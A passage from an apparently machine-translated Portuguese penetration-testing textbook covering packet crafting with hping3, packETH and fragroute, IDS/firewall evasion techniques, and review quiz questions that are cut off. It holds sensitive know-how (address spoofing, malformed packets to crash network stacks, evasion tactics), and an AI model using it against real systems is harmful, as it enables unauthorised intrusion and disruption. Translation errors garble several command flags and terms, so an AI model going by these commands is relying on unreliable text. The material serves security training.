Há uma série de ferramentas que podem ser usadas para criar ou manipular os dados do cabeçalho.
Algumas delas são projetadas com o único propósito de criar pacotes que tenham a aparência que você
deseja. Pode ser uma ferramenta como o packETH, que usa uma GUI para permitir que você defina os
campos. Outras têm outros propósitos que permitem que você interaja com o sistema de destino de uma
forma que você não conseguiria fazer sem escrever seu próprio programa. Uma ferramenta como o hping
permitirá que você crie um pacote com base nos parâmetros da linha de comando. Usando uma ferramenta
como o hping, você pode avaliar a resposta do sistema. Finalmente, você pode querer mutilar o pacote
usando um conjunto de regras, o que colocaria a pilha de rede do sistema operacional à prova, para ver se
ele pode lidar com pacotes mal construídos.
chorando
O programa hping é considerado pelo desenvolvedor como o canivete suíço dos pacotes TCP/IP. Você pode
usá-lo como um programa de ping direto, enviando solicitações de eco ICMP. Como o hping é
principalmente um programa de criação de pacotes, permitindo que você inicie conexões usando diferentes
protocolos com as configurações de cabeçalho que você deseja, o modo padrão pode não funcionar muito
bem para você. Por padrão, se você não especificar nada além do host de destino ou endereço IP, o hping
enviará mensagens para a porta 0 no seu destino com um endereço de origem variável. O endereço 0 é
essencialmente um destino inválido, pois é considerado reservado e não tem propósito. Você não deve
obter nenhuma resposta do sistema para o qual está enviando tráfego. Se obtiver, o host de destino está
realmente violando o protocolo. Enquanto o hping usa TCP para isso, a porta 0 é inválida para UDP e TCP.
Embora você possa usar hping como um substituto para o programa ping, chamando-o com o
- 1parâmetro, significando que você está usando o modo ICMP, você também pode criar conexões
para portas específicas. Você obterá o mesmo comportamento que obteria com o programa ping,
significando que você obterá a "atividade" do sistema e o tempo de ida e volta. Você obterá algo
ainda mais detalhado, no entanto, já que você saberá se um serviço específico está ativo e em
execução. Isso pode ser útil se você estiver fazendo testes em um aplicativo. Você pode querer saber
quando o serviço falha. Você obterá muitos detalhes da resposta, além do tempo de ida e volta. Você
pode ver no código a seguir listando uma execução do hping3 em um servidor web em um sistema
de destino.
Enviando mensagens SYN para um sistema de destino
root@quiche:~# hping3 -S -p 80 192.168.86.1
HPING 192.168.86.1 (eth0 192.168.86.1): Conjunto S, 40 cabeçalhos + 0 bytes de dados len=46
ip=192.168.86.1 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=29200 rtt=7,9 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=29200 rtt=7,9 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=29200 rtt=7,6 ms
Criação e manipulação de pacotes 179
len=46 ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=3 vitória=29200 rtt=7,5 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=4 vitória=29200 rtt=7,3 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=5 vitória=29200 rtt=3,0 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=6 vitória=29200 rtt=2,8 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=7 vitória=29200 rtt=2,7 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=8 vitória=29200 rtt=2,5 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=9 vitória=29200 rtt=2,4 ms len=46
ip=192.168.86.1 ttl=64 DF id=0 esporte=80 sinalizadores=SA seq=10 vitória=29200 rtt=2,2 ms
hping fornecerá a você todos os sinalizadores definidos na resposta. Isso inclui os sinalizadores
SYN e ACK, bem como o bit don't fragment, indicado pelo DF na resposta. Você pode ver muitos
outros detalhes também, incluindo o número de identificação IP, o número de sequência relativo e o
tamanho da janela conforme fornecido pelo host de destino. No caso de uma porta onde não há
ouvinte, você não receberá uma mensagem indicando que o host está inacessível ou que a
mensagem expirou, como faria com um programa ping padrão. Em vez disso, você receberá a
mesma resposta de volta que recebeu de uma porta aberta. Em vez de mostrar SA para
sinalizadores, o que significa que os sinalizadores SYN e ACK foram definidos, você verá RA, o que
significa os sinalizadores RST e ACK. O sistema remoto redefiniu a porta, nos dizendo que não há
nenhum aplicativo lá. Você ainda obterá todas as outras informações, incluindo o tempo de ida e
volta, que lhe dirá o quão rápido o sistema de destino responde a essas mensagens, o que será um
fator de capacidade de resposta da rede e do sistema operacional.
Os soquetes brutos fornecem aos programadores a capacidade de ignorar a pilha de rede.
Quando um programador usa soquetes brutos, espera-se que o programa manipule todas as
coisas que a pilha de rede faz, o que significa que todos os valores nos cabeçalhos devem ser
definidos. Os soquetes brutos fornecem ao programador controle completo sobre como o
pacote acabará se parecendo. Nada disso precisaser considerado legal do ponto de vista dos
protocolos, se você não estiver esperando respostas de volta. Isso não quer dizer que você
sempre obterá uma resposta, no entanto. Você pode mutilar completamente a mensagem
para o host de destino. Como um exemplo, dê uma olhada na linha de comando abaixo. O
deslocamento para os cabeçalhos TCP está sendo definido incorretamente, o que significa
que a pilha de rede de destino está sendo apontada para o lugar errado. Além disso, os
sinalizadores SYN e FIN estão definidos, bem como os sinalizadores ACK e PSH. Esta é uma
combinação de sinalizadores que não faz sentido. A porta de origem está sendo definida
como 15, o que exigiria privilégios administrativos para fazer, como a maioria das coisas no
hping, considerando que geralmente usa algo chamado soquetes brutos.
hping com sinalizadores ruins definidos
root@quiche:~# hping3 -O 8 -s 15 -F -S -P -A -t 3 -p 80 192.168.86.1 HPING 192.168.86.1
(eth0 192.168.86.1): conjunto SAFP, 40 cabeçalhos + 0 bytes de dados C
- - - 192.168.86.1 estatística hping ---
180 Capítulo 5 - Redes de digitalização
hping com sinalizadores ruins definidos(continua)
19 pacotes transmitidos, 0 pacotes recebidos, 100% de perda de pacotes
ida e volta min/média/máx = 0,0/0,0/0,0 ms
Além de ICMP e TCP, você pode enviar mensagens UDP. Há menos parâmetros usados para enviar
mensagens UDP devido ao número limitado de opções disponíveis nos cabeçalhos UDP. Podemos, no
entanto, usar hping para executar uma varredura de porta. Podemos varrer uma gama de portas UDP
usando o --escanear (ou -8)parâmetro. Você pode ver isso feito no código a seguir. Usando --escanear,
precisamos especificar as portas que estão sendo alvo. Esta varredura tem como alvo as portas
administrativas 1–1023. Não há portas escutando neste host nesse intervalo. O que foi truncado da saída
foram todos os números de porta e nomes de serviço associados que não estavam escutando. Um outro
recurso do hping é a capacidade de falsificar endereços. Usando o -umparâmetro, seguido por um endereço
IP, fará com que hping altere o endereço de origem em mensagens enviadas. Isso significa que você não
receberá nenhuma resposta, porque as respostas serão enviadas para o endereço de origem que você
especificar.
porta udp escanear com hping
root@quiche:~# hping3 --scan 1-1023 –a 10.15.24.5
Escaneando 192.168.86.1 (192.168.86.1), porta 1-1024 1024
portas para escanear, use -V para ver todas as respostas
+ - - - - + - - - - - - - - - - - + - - - - - - - - + - - - - - - + - - - - - + - - - - - + - - - - - + - - -
- - + |porta| nome do servidor | sinalizadores |ttl| id | win | len |
+ - - - - + - - - - - - - - - - - + - - - - - - - - + - - - + - - - - - + - - - - - + - - - - - + - - - - - +
Todas as respostas recebidas. Concluído.
- 2 192.168.86.1
Portas não respondendo: (1 tcpmux) (2 nbp) (3 ) (4 echo) (5 ) (6 zip) (7 echo) (8 ) (9 discard) (10 )
(11 systat) (12 ) (13 daytime) (14 ) (15 netstat) (16 ) (17 qotd) (18 msp) (19 chargen) (20 ftp-data)
(21 ftp) (22 ssh) (23 telnet) (24 )
Outro recurso que vale a pena mencionar é a capacidade de enviar pacotes de qualquer tamanho que
você quiser. Para alterar o tamanho dos dados enviados, você usaria -eseguido por uma contagem de
bytes. Isso define o tamanho do corpo do pacote nos cabeçalhos. Você também pode preencher os
pacotes especificando um nome de arquivo usando --arquivoparâmetro. Isso lerá o conteúdo do arquivo e
o usará para preencher a porção de dados do pacote. Você pode travar o aplicativo porque os dados
enviados podem violar as especificações do protocolo.
pacoteETH
Onde hping usa parâmetros de linha de comando, packETH adota uma abordagem GUI para poder definir todos os
parâmetros. Os conjuntos de cabeçalhos variam, dependendo dos protocolos selecionados, e cada um dos
cabeçalhos de camada inferior indica o próximo protocolo, ou seja, o próximo conjunto de
Criação e manipulação de pacotes 181
cabeçalhos. Quando você seleciona quais protocolos está usando, o packETH se ajustará para fornecer
todos os campos de cabeçalho para o protocolo selecionado. A Figura 5.25 mostra os campos de
cabeçalho IP, bem como os campos de cabeçalho TCP. Você também verá onde o IP é selecionado como o
próximo protocolo no cabeçalho da camada 2. Você não pode ver o cabeçalho da camada 2 nesta captura
de tela, mas você seria capaz de definir endereços, determinar qual versão do protocolo da camada 2 está
usando e também adicionar campos 802.1q, que fornecem um campo de tag para indicar em qual LAN
virtual (VLAN) o quadro deve estar.
figura 5. 2 5Interface do pacote ETH
Além de definir cabeçalhos, você pode adicionar seus próprios dados que iriam para a carga útil.
Você não precisa ter dados para incluir, no entanto, se preferir apenas ter dados preenchidos em um
determinado tamanho. A Figura 5.26 mostra os cabeçalhos TCP preenchidos com a carga útil de
dados também preenchida. No lado direito da captura de tela, você pode ver duas caixas de edição.
Uma delas é o padrão de dados, que deve estar em hexadecimal. A outra é o número de instâncias
do padrão fornecido. O primeiro campo é definido como ab, e o número de iterações é definido
como 500. Depois de ter o padrão e o número, você aplica o padrão e sua carga útil de dados será
preenchida. Você notará que ele é formatado exatamente como você esperaria que um dump
hexadecimal fosse formatado, com cada byte hexadecimal separado dos outros.
182 Capítulo 5 - Redes de digitalização
figura 5 . 2 6Preenchimento de padrão de dados
Embora você possa criar pacotes seguindo campos conhecidos e compreendidos, você também pode criar
seus próprios pacotes. Seus cabeçalhos de camada 2 precisam ser definidos com endereços MAC na origem e no
destino para que haja algum lugar para o quadro ir, mas além disso, você pode fazer o que quiser selecionando
User Defined Payload. Isso deixaria de fora todas as informações da camada 3 e incluiria apenas o que você queria
incluir, seja texto ou um padrão de preenchimento hexadecimal. A Figura 5.27 mostra um payload criado usando
um padrão. Usar texto causou um erro com o protocolo de próxima camada especificado porque ele não está
configurado para receber texto bruto. Você precisa criar um padrão hexadecimal em vez disso. Você verá na parte
inferior da captura de tela que 60 bytes foram enviados, o que inclui o payload da camada de rede que
especificamos.
Depois que seu pacote for criado, você pode enviá-lo. Clicar no botão Enviar na barra de
ferramentas enviará um único pacote. Se quiser enviar mais de um pacote, você terá que usar o
botão Gen-b ou Gen-s. Gen-b lhe dá a habilidade de especificar o número de pacotes a serem
enviados. Você poderá indicar a largura de banda que deseja usar, ou também pode indicar o
intervalo entre pacotes, que é o atraso entre os pacotes enviados. Gen-s lhe dá a habilidade de gerar
fluxos. Um fluxo pode ser um padrão definido de pacotes que foram salvos em arquivos diferentes.
Depois que você tiver o padrão definido indicando os pacotes que deseja usar, você pode dizer ao
packETH como deseja enviá-los — em rajada, contínuo ou aleatório. Você também pode indicar o
número total de pacotes que deseja enviar, bem como o atraso.
Falando em carregar pacotes de um arquivo, você pode salvar os pacotes que você cria. Isso permite
que você crie uma série de pacotes e os carregue no modo Gen-s, mas também permite que você crie um
pacote e o carregue para enviá-lo a qualquer momento que você quiser sem ter que recriá-lo. Se você
quiser usar um pacote existente que você capturou como seu ponto de partida, você também pode
carregar um arquivo de captura de pacotes (PCAP). Quando você seleciona um quadro da lista na
visualização PCAP, esse quadro será exibido na visualização Builder.
Criação e manipulação de pacotes 183
figura 5. 2 7Preenchimento de dados da camada de rede
fragmento
fragroute é um programa usado para mutilar pacotes antes que eles sejam enviados paraum alvo que você
especificar. Ele funciona fazendo ajustes na tabela de roteamento para que todas as mensagens que vão para o
alvo sejam enviadas através do aplicativo fragroute primeiro. Para fazer o fragroute funcionar, você precisa criar
um arquivo de configuração. Este arquivo de configuração tem diretivas dizendo ao fragroute como lidar com
pacotes que passam pelo aplicativo. Na listagem de código a seguir, você pode ver um arquivo de configuração
com um punhado de diretivas que são garantidas para criar um tráfego de rede realmente bagunçado.
Arquivo de configuração do fragroute
kilroy@lolagranola $ cat frag.conf atraso
aleatório 1
dup últimos 30%
ip_chaff dup
ip_frag 128 novo
tcp_chaff nulo 16
ordem aleatória
imprimir
184 Capítulo 5 - Redes de digitalização
As diretivas aqui dizem ao fragroute para fazer uma série de coisas com os pacotes. A primeira coisa é
atrasar pacotes aleatórios em 1 milissegundo. Em seguida, há uma chance de 30 por cento de duplicar o
último pacote.ip_chafflinha adiciona pacotes duplicados na fila. Quando as mensagens são enviadas, elas
têm um tamanho de unidade máxima de transmissão (MTU) que é ditado pelo protocolo de link de dados.
Com Ethernet, isso é 1.500 bytes, embora seja possível obter algo chamado quadros jumbo que são muito
maiores. Mais comumente, você verá um MTU de 1.500. Qualquer mensagem que seja maior que o MTU é
fragmentada. Usando fragroute, no entanto, vamos forçar os pacotes a serem fragmentados antes do
envio. Isso acontece noip_frag 128 novolinha. Estaremos fragmentando em 128 bytes, o que é suficiente
para dados de cabeçalho e um pouco mais. Qualquer coisa grande sendo enviada, como um arquivo de
imagem, terá um grande número de fragmentos.
A linha que começa comtcp_palhafaz a mesma coisa queip_chafffaz, trabalhando em vez disso na camada de
Transporte. Os segmentos TCP sendo inseridos terão sinalizadores TCP nulos, conforme especificado na
configuração. Também poderíamos ter somas de verificação inválidas, carimbos de data/hora mais antigos ou
outras informações falsas no cabeçalho TCP. Isso teria feito com que essas mensagens fossem rejeitadas na
extremidade distante da conversa, após a inspeção. Finalmente, a ordem das mensagens será randomizada, então
elas estarão fora de ordem e precisarão ser remontadas na extremidade distante, então os detalhes da mensagem
serão impressos.
Usando um arquivo de configuração mais simples, você pode ver uma execução de fragroute na listagem de
código a seguir. Este é o arquivo de configuração que foi instalado por padrão com o pacote fragroute em um
sistema Kali Linux. Este arquivo de configuração usatcp_segpara dividir os dados TCP em tamanhos de segmento
especificados. Depois disso, ele usaip_frageip_chaffcomo mencionado anteriormente. Então, ele definirá uma
ordem e imprimirá os detalhes da mensagem, que você pode ver.
fragroute corre contra o alvo
root@quiche:~# fragroute -f /etc/fragroute.conf 184.159.210.190
fragroute: tcp_seg -> ip_frag -> ip_chaff -> order -> print
192.168.86.57.18294 > 184.159.210.190.17766: SR 1400140884:1400140908(24) ack
1802781559 win 14416 urg 21625 [atraso 0,001 ms]
192.168.86.57.43460 > 184.159.210.190.4433: S 2873730507:2873730507(0) vitória 29200
192.168.86.57.21314 > 184.159.210.190.29050: S 810642531:810642543(12) ack
1802326352 win 27514 [atraso 0,001 ms]
192.168.86.57.43460 > 184.159.210.190.4433: S 2873730507:2873730507(0) vitória 29200
192.168.86.57.19306 > 184.159.210.190.22387: R 1297315948:1297315960(12) ack
2020107846 win 19767 urg 31041 [atraso 0,001 ms]
192.168.86.57.43460 > 184.159.210.190.4433: S 2873730507:2873730507(0) vitória 29200
192.168.86.57.26963 > 184.159.210.190.21350: SFP 1950696520:1950696548(28) vitória
27988 urg 20558 [atraso 0,001 ms]
Técnicas de Evasão 185
O que você provavelmente notará quando usar fragroute é que o que você está tentando fazer
para interagir com o alvo falhará. No exemplo anterior, useicliente s_opensslpara iniciar uma conexão
com o servidor web usando SSL/TLS. A conexão nunca foi concluída, presumivelmente porque os
pacotes que chegavam ao destino estavam tão desorganizados e fora de ordem que a pilha de rede
não sabia o que fazer com eles. O objetivo de executar o fragroute, no entanto, não é
necessariamente fazer a conexão. Às vezes, o objetivo é apenas ver se você consegue fazer a pilha
de rede no sistema de destino falhar, o que pode levar o kernel com ela, fazendo com que o sistema
inteiro fique indisponível, forçando uma reinicialização ou reinício.
Técnicas de Evasão
Qualquer organização alvo que você testar terá mecanismos de segurança para se defender. Podem
ser firewalls ou sistemas de detecção de intrusão. Também pode ter sistemas de prevenção de
intrusão. Qualquer um deles pode frustrar seus esforços, seja bloqueando-os ou emitindo um alerta,
o que pode resultar na descoberta de suas ações. Qualquer uma dessas coisas seria ruim. Felizmente,
existem algumas técnicas de evasão que podem ajudá-lo a contornar esses dispositivos para que
você possa continuar avançando. Algumas das ferramentas que já vimos ajudarão você com esses
procedimentos evasivos. As técnicas comuns de evasão são as seguintes:
Ocultar/Obscurecer os DadosVocê pode usar criptografia ou ofuscação para disfarçar o que está fazendo.
O tráfego criptografado não pode ser investigado sem violar a natureza de ponta a ponta da criptografia. O
objetivo com a criptografia é que a mensagem seja criptografada do remetente para o destinatário, sem
ser descriptografada em pontos intermediários. Você também pode codificar os dados usando várias
técnicas de codificação, incluindo codificação de URL, que substitui caracteres pelo valor hexadecimal de
seu código ASCII.
AlteraçõesOs sistemas de detecção/proteção de intrusão em particular geralmente usam algo chamado
assinatura. No caso de malware, isso pode ser um valor de hash criptográfico que pode ser comparado a um
banco de dados de malware conhecido. Se houver uma correspondência do hash, as mensagens podem ser
descartadas. Quando se trata de um hash criptográfico, no entanto, a alteração de um único caractere no
conteúdo do arquivo produzirá um valor de hash completamente diferente, o que significa que o que quer que
você esteja fazendo não será detectado. Essa estratégia é comumente chamada de polimorfismos, depolimorfo,
significando muitas formas ou formatos.
FragmentaçãoAtaques de fragmentação podem ser usados para driblar mecanismos de segurança de rede
simplesmente porque esses dispositivos, quando estão em linha, levariam tempo para remontar as mensagens
antes que a atividade adversária fosse vista. Essa remontagem leva tempo e, portanto, alguns dispositivos
simplesmente não se importam porque a remontagem e a detecção podem adicionar latência às comunicações.
Isso depende do dispositivo e das decisões tomadas pelos desenvolvedores do dispositivo. Você pode usar uma
ferramenta como o fragroute para ajudá-lo com a fragmentação.
SobreposiçõesQuando as mensagens são fragmentadas, isso pode acontecer na camada de rede ou na
camada de transporte, como você viu ao olhar para o fragroute. Quando as mensagens precisam ser
186 Capítulo 5 - Redes de digitalização
remontado, todas as peças precisam estar lá e em um estado são para que o quebra-cabeça possa ser
encaixado novamente. Ao usar TCP, você pode sobrepor números de sequência. Esta é essencialmente a
contagem de bytes que foi enviada. Você pode enviar dois segmentos TCP que parecem ocupar o mesmo
espaço no quebra-cabeça que está sendo remontado. O IDS e o SO de destino podem decidir remontar o
quebra-cabeça de forma diferente. Isso pode acontecer se um decidir favorecer as informações mais
recentes enquanto o outro favorece as mais antigas. OSO precisa decidir se a primeira mensagem
recebida foi válida ou se a última mensagem recebida foi mais válida.
Dados malformadosProtocolos são conjuntos de regras sobre como as comunicações devem acontecer. Se
você violar essas regras, poderá obter resultados inesperados. Mesmo que você não esteja violando as
regras, mas sim aproveitando brechas, poderá obter alguns dados úteis. É por isso que o nmap usa
varreduras XMAS, FIN e NUL. O comportamento é inesperado, embora não seja tecnicamente ilegal do
ponto de vista do protocolo. Da mesma forma, há detalhes nos protocolos que podem ser manipulados de
forma diferente em diferentes pilhas de rede. O ponteiro URG pode ser manipulado de forma diferente em
diferentes sistemas operacionais. Isso pode ser usado para contornar um IDS e ainda fazer com que o
sistema de destino responda da maneira que você deseja.
Baixo e lentoVarreduras rápidas podem ser fáceis de detectar. Mais difíceis de detectar são varreduras que
ocorrem em um período de tempo muito longo. Imagine um único pacote de varredura sendo enviado uma vez
por hora. Isso pode ser muito demorado para ser executado, mas quando você está falando sobre mensagens
individuais, é muito menos provável que o IDS ou o firewall as identifiquem como uma varredura de porta. Levar
seu tempo pode ser benéfico. Você pode usar o parâmetro de limitação do nmap para realmente desacelerar suas
varreduras.
Consumo de recursosPode ser possível fazer com que dispositivos falhem ao abrir consumindo
recursos como CPU ou memória. Se você puder esgotar qualquer um desses recursos, pode ser possível
fazer com que mensagens subsequentes passem apenas depois que o dispositivo falhar.
Cegueira de telaNo caso do IDS, o dispositivo ou software emitirá alertas. É esperado que haja alguém
olhando para esses alertas. Se você puder gerar enormes volumes de alertas de tráfego com o qual não se
importa, você pode fazer com que as pessoas que olham para os alertas fiquem cegas na tela, o que
significa que elas simplesmente não estão mais vendo os detalhes importantes porque estão
sobrecarregadas com o que estão procurando. Dessa forma, você pode configurar uma cortina de fumaça
com muito tráfego de alerta falso e, em seguida, enviar seus dados reais pela tela.
TúnelUm túnel é uma maneira de transmitir dados dentro de outra coisa. Por exemplo, o protocolo
Generic Routing Encapsulation (GRE) pode criar um túnel pegando pacotes e encapsulando-os
dentro de pacotes GRE. Isso faz parecer que o que está passando é um pacote GRE quando na
verdade há algo na carga útil. GRE é um protocolo que foi projetado para fazer o túnel de tráfego em
casos em que você deseja manipular o roteamento na extremidade receptora em vez da
extremidade emissora. Outros protocolos foram usados para ataques de túnel, incluindo SSH,
HTTP, ICMP e DNS. Esses ataques de túnel exigem software na extremidade receptora que pode
extrair as mensagens de túnel e colocá-las na rede de destino.
Tenha em mente que com dispositivos como firewalls com estado, uma vez que você recebe a primeira
mensagem, mensagens subsequentes podem ser permitidas por padrão porque elas são parte de uma
conexão estabelecida. Claro, essas técnicas de evasão já existem há muito tempo, então é possível que o
firewall ou fornecedor de IDS saiba como detectar a maioria delas.
Resumo 187
eles. Isso significa que você pode não conseguir fazer as evasões funcionarem. Ainda vale a pena conhecê-
las e experimentá-las para ver se você consegue passar.
Há alguns que têm mais probabilidade de funcionar do que outros, porque não dependem do firewall
ou do fornecedor do IDS. A criptografia, por exemplo, deve sempre funcionar porque o firewall e o IDS
simplesmente não conseguem ver os dados, já que as chaves são negociadas pelos dois pontos de
extremidade. A criptografia, no entanto, requer um serviço na extremidade receptora que entenda a
criptografia e possa negociar com o aplicativo de envio. Uma técnica de evasão que não depende de
meios técnicos está sobrecarregando a pessoa que está olhando os alertas. Isso, no entanto, pressupõe
que não haja tecnologia em vigor para eliminar as mensagens estranhas, apresentando apenas alertas
interessantes ao operador.
Resumo
A varredura fornecerá uma riqueza de informações que serão necessárias à medida que você avança com
seus testes e avaliações. No entanto, existem diferentes tipos de varredura. Conforme você estiver
varrendo, você desejará identificar portas que estão abertas. O propósito de identificar portas abertas não
é apenas obter uma lista de portas. Em última análise, você deseja identificar os serviços ou aplicativos que
estão escutando nas portas abertas. Para identificar essas portas abertas, você usaria um scanner de
portas. O scanner de portas mais comumente usado é o nmap. O Nmap pode ser usado para mais do que
apenas identificar portas abertas. Ele também pode ser usado para identificar versões de aplicativos
capturando banners. Além disso, o nmap pode identificar o sistema operacional em execução no destino.
Embora existam outros scanners de porta disponíveis, incluindo o masscan, que é usado para varredura
de alta velocidade, o nmap é o único scanner de porta que tem um mecanismo de script integrado. O
mecanismo de script para o nmap é baseado na linguagem de programação Lua, mas o nmap fornece
bibliotecas que darão a você acesso fácil às informações que o nmap tem para que você possa escrever
scripts para identificar melhor os serviços e também executar testes como identificar vulnerabilidades.
Quando você escreve scripts para o mecanismo de script nmap (NSE), você registra portas com o nmap para
que o nmap saiba chamar seu script quando encontrar a porta registrada aberta.
Embora o nmap seja comumente um programa de linha de comando, também há uma GUI que atua como um
front-end para o nmap. O Zenmap é um programa que chamará o nmap com base em um comando especificado,
mas também analisará os resultados, fornecendo-os a você de diferentes maneiras. Você pode olhar todos os
serviços que foram identificados. Você também pode dar uma olhada em uma topologia da rede com base no que o
nmap encontra. Embora você possa fornecer o mesmo comando ao Zenmap que faz ao nmap, o Zenmap também
fornecerá alguns tipos de varredura que você pode executar, como uma varredura intensa. Selecionar o tipo de
varredura preencherá os parâmetros de linha de comando necessários.
Os scanners de vulnerabilidade não só procurarão por vulnerabilidades, como também geralmente
realizarão varreduras de portas como parte da busca e identificação de portas abertas. Há vários scanners
de vulnerabilidade disponíveis comercialmente. Existem muito poucos scanners de vulnerabilidade que são
de código aberto. Um, baseado em um que agora é comercial, é o OpenVAS. O OpenVAS foi bifurcado da
última versão de código aberto do Nessus. Um dos desafios da vulnerabilidade
188 Capítulo 5 - Redes de digitalização
scanners é a enorme quantidade de trabalho necessária para mantê-los e atualizá-los, o que
talvez seja a principal razão pela qual existem tão poucos scanners de código aberto.
Scanners de vulnerabilidade, como OpenVAS e Nessus, usam plug-ins para executar testes. Eles sondam o
host alvo para observar o comportamento no host a fim de identificar vulnerabilidades potenciais. No entanto,
nem todas as vulnerabilidades identificadas são reais. Vulnerabilidades que são identificadas por scanners, mas
não são reais, são chamadas de falsos positivos. Um falso negativo seria uma vulnerabilidade que existia, mas
não foi identificada. Os scanners de vulnerabilidade estão longe de ser infalíveis devido à maneira como
funcionam. Pode exigir trabalho manual para validar as descobertas de um scanner de vulnerabilidade.
Para testar vulnerabilidades e também executar varreduras, você pode precisar fazer algo diferente de
depender do sistema operacional para construir seus pacotes para você. Existem várias ferramentasque
você pode usar para criar pacotes, como hping. Esta é uma ferramenta que pode ser usada para escanear,
mas também pode ser usada para criar pacotes usando switches de linha de comando. Se você preferir não
usar a linha de comando, você pode usar uma ferramenta como packETH. packETH apresenta todos os
cabeçalhos nas camadas 2 a 4. Você também pode criar uma carga útil para ir no pacote. packETH também
permitirá que você extraia pacotes de um PCAP e faça alterações nele. Você pode enviar pacotes individuais
para um alvo — camada 2 ou camada 3 — ou pode enviar fluxos. Usando esses pacotes criados, você pode
obter respostas do seu alvo que podem fornecer as informações necessárias.
Suas redes alvo provavelmente terão firewalls e um IDS instalado. Você provavelmente vai querer usar
técnicas para evadir esses dispositivos, já que eles provavelmente vão impedir você de fazer seu trabalho.
Há várias maneiras de evadir tecnologias de segurança, incluindo criptografia/codificação, fazendo com
que o operador fique cego na tela ou enviando mensagens malformadas para o alvo.
Perguntas de revisão 189
Perguntas de revisão
Você pode encontrar as respostas no Apêndice.
1.Se você receber um pacote RST de um host de destino, o que você sabe sobre seu destino?
UM.O alvo está usando UDP em vez de TCP.
B.A porta de destino está aberta no host de destino.
C.A porta de origem na mensagem RST está fechada.
E.O alvo espera que o sinalizador PSH seja definido.
2.Qual é a diferença entre uma varredura SYN e uma varredura de conexão completa?
UM.Uma varredura SYN e uma varredura de conexão completa são a mesma coisa.
B.Uma varredura de conexão completa envia uma mensagem ACK primeiro.
C.Uma varredura SYN usa o sinalizador PSH com o sinalizador SYN.
E.A varredura SYN não conclui o handshake triplo.
3.Qual é um dos motivos pelos quais uma varredura UDP pode demorar mais do que uma varredura TCP do mesmo host?
UM.O UDP retransmitirá mais.
B.O UDP tem mais portas para escanear.
C.UDP é um protocolo mais lento.
E.O UDP requer mais mensagens para ser configurado.
4.Por que uma varredura ACK não indica claramente que as portas estão abertas?
UM.O scanner tem que adivinhar.
B.ACK não é um sinalizador suportado.
C.O sistema de destino ignora a mensagem.
E.As varreduras ACK causam muitas retransmissões.
5.Qual é um dos motivos para usar uma varredura como uma varredura ACK?
UM.Ele pode passar por firewalls e dispositivos IDS.
B.É melhor suportado.
C.O código no nmap é mais robusto.
E.Uma varredura ACK é necessária para suporte de script.
6.O que o nmap analisa para identificar um sistema operacional?
UM.Os cabeçalhos do sistema operacional
B.A versão do aplicativo
C.A resposta da conexão à porta 0
E.O campo de ID IP e o número de sequência inicial
190 Capítulo 5 - Redes de digitalização
7.O que o nmap está observando quando realiza uma varredura de versão?
UM.Cabeçalhos TCP e IP
B.Banners de aplicação
C.Kernel do sistema operacional
E.Campos de ID IP e número de sequência TCP
8.Qual é a vantagem de usar o masscan em vez do nmap?
UM.O masscan existe há mais tempo.
B.O Nmap é difícil de usar.
C.O masscan pode escanear mais endereços mais rapidamente.
E.O masscan tem acesso para escanear mais da Internet.
9.Se você visse o seguinte comando sendo executado, o que você presumiria?hping -S -p 25
10.5.16.2
UM.Alguém estava tentando sondar a porta web do alvo.
B.Alguém estava tentando sondar uma porta de e-mail no alvo.
C.Alguém estava tentando identificar se o SNMP era suportado no 10.5.16.2.
E.Alguém digitou erradoping.
10.Se você visse que alguém estava usando o OpenVAS, seguido pelo Nessus, o que você
presumiria?
UM.Eles estavam tentando invadir um sistema.
B.Eles não sabiam como usar o Nessus.
C.Eles não sabiam como usar o OpenVAS.
E.Eles estavam tentando reduzir falsos positivos.
11.Qual é a diferença entre um falso positivo e um falso negativo?
UM.Um falso positivo indica uma descoberta que não existe, enquanto um falso negativo não
indica uma descoberta que existe.
B.Um falso positivo indica uma descoberta que existe, enquanto um falso negativo não indica uma
descoberta que não existe.
C.Um falso positivo não indica uma descoberta que existe, enquanto um falso negativo
indica uma descoberta que não existe.
E.Um falso negativo indica uma descoberta que não existe, enquanto um falso positivo não
indica uma descoberta que existe.
12.Qual seria o propósito de executar uma varredura de ping?
UM.Você quer identificar hosts responsivos sem uma varredura de porta.
B.Você quer usar algo que tenha pouco tráfego de rede.
C.Você quer usar um protocolo que possa ser permitido pelo firewall.
E.Tudo o que precede.
Perguntas de revisão 191
13.Qual destas pode ser considerada a pior prática quando se trata de varreduras de vulnerabilidades?
UM.Escaneando servidores de produção
B.Notificar a equipe de operações com antecedência
C.Não tomar nenhuma ação sobre os resultados
E.Usando detalhes limitados em seus relatórios de varredura
14.Qual destas pode ser considerada uma técnica evasiva?
UM.Verificando portas não padronizadas
B.Codificação de dados
C.Usando um servidor proxy
E.Usando nmap no modo cego
15.Se você observasse comandos do sistema operacional dentro de uma solicitação de DNS ao analisar
uma captura de pacote, o que estaria observando?
UM.Ataque de túnel
B.Amplificação de DNS
C.Recursão DNS
E.Injeção de entidade XML
16.O que é uma varredura de XMAS?
UM.Varredura TCP com conjunto SYN/ACK/FIN
B.Varredura UDP com conjunto FIN/PSH
C.Varredura TCP com conjunto FIN/PSH/URG
E.Conjunto de varredura UDP SYN/URG/FIN
17.Para que você usaria o MegaPing?
UM.Executando exploits
B.Executando uma varredura de porta
C.Emissão de solicitações manuais da web
E.Pacotes de artesanato
18.Qual seria um motivo para usar o recurso Override no OpenVAS?
UM.Você deseja executar um plug-in diferente para uma vulnerabilidade.
B.Você quer alterar as configurações do scanner.
C.Você quer usar TCP em vez de UDP.
E.Você deseja alterar a classificação de gravidade de uma descoberta.
192 Capítulo 5 - Redes de digitalização
19.Para que você usaria credenciais em um scanner de vulnerabilidades?
UM.Maior confiabilidade nas descobertas da rede
B.Autenticação por meio de VPNs para varreduras
C.Verificando vulnerabilidades locais
